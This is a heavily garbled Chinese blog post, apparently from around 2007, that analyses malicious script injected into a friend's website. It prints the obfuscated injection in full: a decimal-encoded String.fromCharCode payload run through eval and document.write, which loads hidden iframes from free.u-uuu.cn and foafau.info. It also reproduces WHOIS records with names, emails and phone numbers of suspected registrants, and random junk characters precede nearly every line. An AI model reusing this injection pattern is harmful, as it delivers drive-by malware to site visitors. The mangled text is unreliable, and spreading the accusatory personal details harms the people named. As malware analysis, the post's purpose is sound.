首发在我的博客里面，
d[t+iBP;)
4u.v 7r http://www.areway.cn/?p=175 ;d#`wSF`G 79 Y;Zgv f,s1k[w/ ; 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
}zE
Qrfl IW~q,X+`V
<script>t=’60,105,102,114,97,109,101,
UpoTXA D}k 32,115,114,99,61,104,116,116,112,58,47,47,
a6/$}lCq 102,114,101,101,46,117,45,117,117,117,46,99,
Ln3<r&&Jz 110,47,101,114,114,111,114,46,104,116,109,
Y6R+i0guz 32,119,105,100,116,104,61,49,48,48,32,104,
:wR aB7 101,105,103,104,116,61,48,62,60,47,105,102,
YU (|i}b 114,97,109,101,62′;
2Jl$/W 3 t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
$={^':Uh *D_p FS^l <script>t=’60,105,102,114,97,109,101,32,115,
:'+- %xUM 114,99,61,104,116,116,112,58,47,47,102,114,
c_R AtM<n 101,101,46,117,45,117,117,117,46,99,110,47,
|PY*" Ul 101,114,114,111,114,46,104,116,109,32,119,
V']{n7a- 105,100,116,104,61,49,48,48,32,104,101,105,
J
Gpy$T{t 103,104,116,61,48,62,60,47,105,102,114,97,
e5HHsR6 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
'(.vB~m7*+ document.write(t);</script>
`;\<Fr dJYW8pcKT <html xmlns=”
{] Zet}2 http://www.w3.org/1999/xhtml ^5,B6 “>
Mu>WS)1lS <head>
2 yY.rs <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
E$?:^ausu <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
N
Dg*8i <title>首页 - 爱生活家庭网
QV_e6r1t#m >ow5aOlQ& 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
K3xs=q]:@ 转换字符串后的大概内容是（谁点击后果自付）：
7 G 3*@cl <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
y wf@G;
fK ~ V:@4P 查询玉米u-uuu.cn的详细信息：
X v2u7T\ Domain Name: u-uuu.cn
Lfj]Y~*z ROID: 20070901s10001s64972306-cn
Ic,V ,#my Domain Status: ok
Q 9C; _Up Registrant Organization: 王雷
X1J' Registrant Name: 王雷
|."thTO Administrative Email:
czlovexs@126.com @*s7~:VQ Sponsoring Registrar: 北京万网志成科技有限公司
'4 x uH3 Name Server:ns.yovole.com
-$0w-M8' Name Server:ns1.yovole.com
:Dn{ Registration Date: 2007-09-01 17:54
d7)EzW|I; Expiration Date: 2008-09-01 17:54
Y{v\m(D 最后PING了一下地址 都没有什么….
~6HaZlBB to%n2^^K 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
y G{; kJ P <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
2dpTU=K4 <script language=”javascript” src=”
8`? vWJS http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script `~S ; UG >
~,:
FZ1wh 这个玉米应该有可能是木马作者的：
% Q2<bj] foafau.info的详细信息：
iAWd
9x Access to INFO WHOIS information is provided to assist persons in
__Tg 1A determining the contents of a domain name registration record in the
3u g-cq Afilias registry database. The data in this record is provided by
_w\A=6=q| Afilias Limited for informational purposes only, and Afilias does not
=Kh1 HU.F guarantee its accuracy. This service is intended only for query-based
'
6#en9{L access. You agree that you will use this data only for lawful purposes
Kz`g Q |S and that, under no circumstances will you use this data to: (a) allow,
{ :~&#D enable, or otherwise support the transmission by e-mail, telephone, or
pZA0Go2!IN facsimile of mass unsolicited, commercial advertising or solicitations
=u,8(:R]s to entities other than the data recipient’s own existing customers; or
hiM nU (b) enable high volume, automated, electronic processes that send
{:!CA/ 0Jx queries or data to the systems of Registry Operator, a Registrar, or
E qc,/ Afilias except as reasonably necessary to register domain names or
kd3vlp modify existing registrations. All rights reserved. Afilias reserves
r cx'`CIJ the right to modify these terms at any time. By submitting this query,
F\"`^`( O you agree to abide by this policy.
cf7UV6D g Domain ID:D22418703-LRMS
hCX_^% Domain Name:FOAFAU.INFO
< `/22S" Created On:20-Nov-2007 16:05:42 UTC
j1 Q "s( Last Updated On:20-Nov-2007 16:05:44 UTC
^]A,Q%1q^ Expiration Date:20-Nov-2008 16:05:42 UTC
$^XCI%DH Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
{G^f/% Status:CLIENT DELETE PROHIBITED
3 %'Y): Status:CLIENT RENEW PROHIBITED
q4wS<, 3 Status:CLIENT TRANSFER PROHIBITED
XzH"dDAVE Status:CLIENT UPDATE PROHIBITED
c|,6(4j>$ Status:TRANSFER PROHIBITED
rgOc+[X Registrant ID:GODA-040110615
QT\=>,Fz _ Registrant Name:liu hong
u+
?Wm40E Registrant Organization:
Tz"Xm/Gy Registrant Street1:beijing
x_K8Gr#Z 0 Registrant Street2:
7B"*< %< Registrant Street3:
$Z2Y% z6y Registrant City:beijing
4{Q{>S*h Registrant State/Province:
ivb?B,Lz0 Registrant Postal Code:100000
K>a+-QWK3 Registrant Country:CN
q0a8=o"| Registrant Phone:+86.860108888777
I\FBf&~ Registrant Phone Ext.:
0K *|B.O Registrant FAX:
0qPbmLMK Registrant FAX Ext.:
:Q@qR((&o Registrant Email:bbbshiji@163.com
-ghmLMS%t Admin ID:GODA-240110615
SJXA Admin Name:liu hong
w$2Z7S Admin Organization:
u} :p@j}Zv Admin Street1:beijing
%0< -5&GE Admin Street2:
-{tB&V~+v Admin Street3:
>Y\$9W=t Admin City:beijing
1m5 =Nu Admin State/Province:
|'R^\M Q Admin Postal Code:100000
6|O2i j-J Admin Country:CN
MMYV8;c Admin Phone:+86.860108888777
Oz: J8l% Admin Phone Ext.:
#,4CeD|(D, Admin FAX:
)8rN Admin FAX Ext.:
A/%+AH( Admin Email:bbbshiji@163.com
VYj*LiR Billing ID:GODA-340110615
lNQ8$b Billing Name:liu hong
oieZopY A Billing Organization:
Up/s)8$. Billing Street1:beijing
E7K(I ? Billing Street2:
NGYUZ\ m Billing Street3:
`]q>A']Dl Billing City:beijing
hj_%'kk-A Billing State/Province:
y`n'>F 11 Billing Postal Code:100000
x2M'!VK>n1 Billing Country:CN
d;-/F b{4 Billing Phone:+86.860108888777
7 z#Xf Billing Phone Ext.:
Zc<fopi h Billing FAX:
0< { zW%w Billing FAX Ext.:
Q#2gjR r Billing Email:bbbshiji@163.com
;<9 dND Tech ID:GODA-140110615
~ }g "Fe Tech Name:liu hong
WN +D}z] Tech Organization:
e7cqm*Qi Tech Street1:beijing
rphfW: Tech Street2:
zxV,v*L) Tech Street3:
r z Tech City:beijing
b;;C>< Tech State/Province:
AusCU~ :> Tech Postal Code:100000
VX`E7Sf! } Tech Country:CN
T,sArKBI Tech Phone:+86.860108888777
A{3?G -]* Tech Phone Ext.:
a+--2+~= Tech FAX:
!RJuH;8 Tech FAX Ext.:
aUBGp: ( Tech Email:bbbshiji@163.com
f.~-31 Name Server:NS27.DOMAINCONTROL.COM
wj'5D0 Name Server:NS28.DOMAINCONTROL.COM
uzA_Zjx Name Server:
)l|/lj Name Server:
Ca?:x tt Name Server:
W_C#a'$ Name Server:
f-O`Pp FQ Name Server:
%nmD >QCe Name Server:
g20, et Name Server:
QQB\$[M!Z Name Server:
t. 7KS: Name Server:
heAbxs Name Server:
te 0a 6 Name Server:
_,U`Iq+X 'rX!E,59 接着下载每个文件里面的代码：
"|\G[xLOaW 一步一步看..
u$"dL=s! 
C_RxJWka 
**%/Ke[ 
k6p Xc<]8 
vwlPFr Ll 
dC F!. 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
